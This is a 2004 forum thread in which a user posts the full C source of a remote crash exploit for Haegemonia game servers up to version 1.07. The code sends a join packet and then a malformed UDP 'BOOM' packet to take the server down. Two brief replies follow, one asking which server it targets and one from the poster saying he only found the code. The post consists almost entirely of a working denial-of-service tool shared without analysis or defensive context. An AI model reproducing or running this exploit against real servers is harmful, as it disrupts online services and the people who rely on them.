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Leonnetje
Feb 26 2004, 09:51 AM
| CODE | */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h>
#ifdef WIN32 #include <winsock.h> #include "winerr.h"
#define close closesocket #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #endif
#define VER "0.1" #define BUFFSZ 2048 #define PORT 19664 #define TIMEOUT 5 #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, psz) \ < 0) std_err(); #define RECV if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) \ < 0) std_err(); #define JOIN "\x00\x00" #define BOOM "\x10\x00\x00\x03\x0b\x01" \ /* boom */ "\xff\xff\xff\xff" \ /* message */ "boomyeah"
int timeout(int sock); u_long resolv(char *host); void std_err(void);
int main(int argc, char *argv[]) { int sd, psz; u_short port = PORT; u_char *buff; struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("\n" "Haegemonia <= 1.07 remote server crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\;n" "\n", stdout);
if(argc < 2) { printf("\nUsage: %s <server> [port(%u)]\n" "\n", argv[0], PORT); exit(1); }
#ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; psz = sizeof(peer);
printf("\nStarting attack versus %s:%hu\n\n", inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err();
fputs("- sending JOIN packet\n", stdout); SEND(JOIN); if(timeout(sd) < 0) { fputs("\nError: socket timeout, server is probably not online\n", stdout); exit(1); } buff = malloc(BUFFSZ); if(!buff) std_err(); RECV;
fputs("- sending BOOM packet\n", stdout); SEND(BOOM); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!!!!!\n", stdout); } else { fputs("\nServer doesn't seem to be vulnerable\n", stdout); } close(sd);
return(0); }
int timeout(int sock) { struct timeval tout; fd_set fd_read; int err;
tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); }
u_long resolv(char *host) { struct hostent *hp; u_long host_ip;
host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); }
#ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif
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Pro21
Feb 26 2004, 10:15 AM
hum It s Wanadoo Games server ??????
Leonnetje
Feb 26 2004, 10:28 AM
I haven't got any idea.. I didn't write the code, just found it and haven't got time to take a look @ it....
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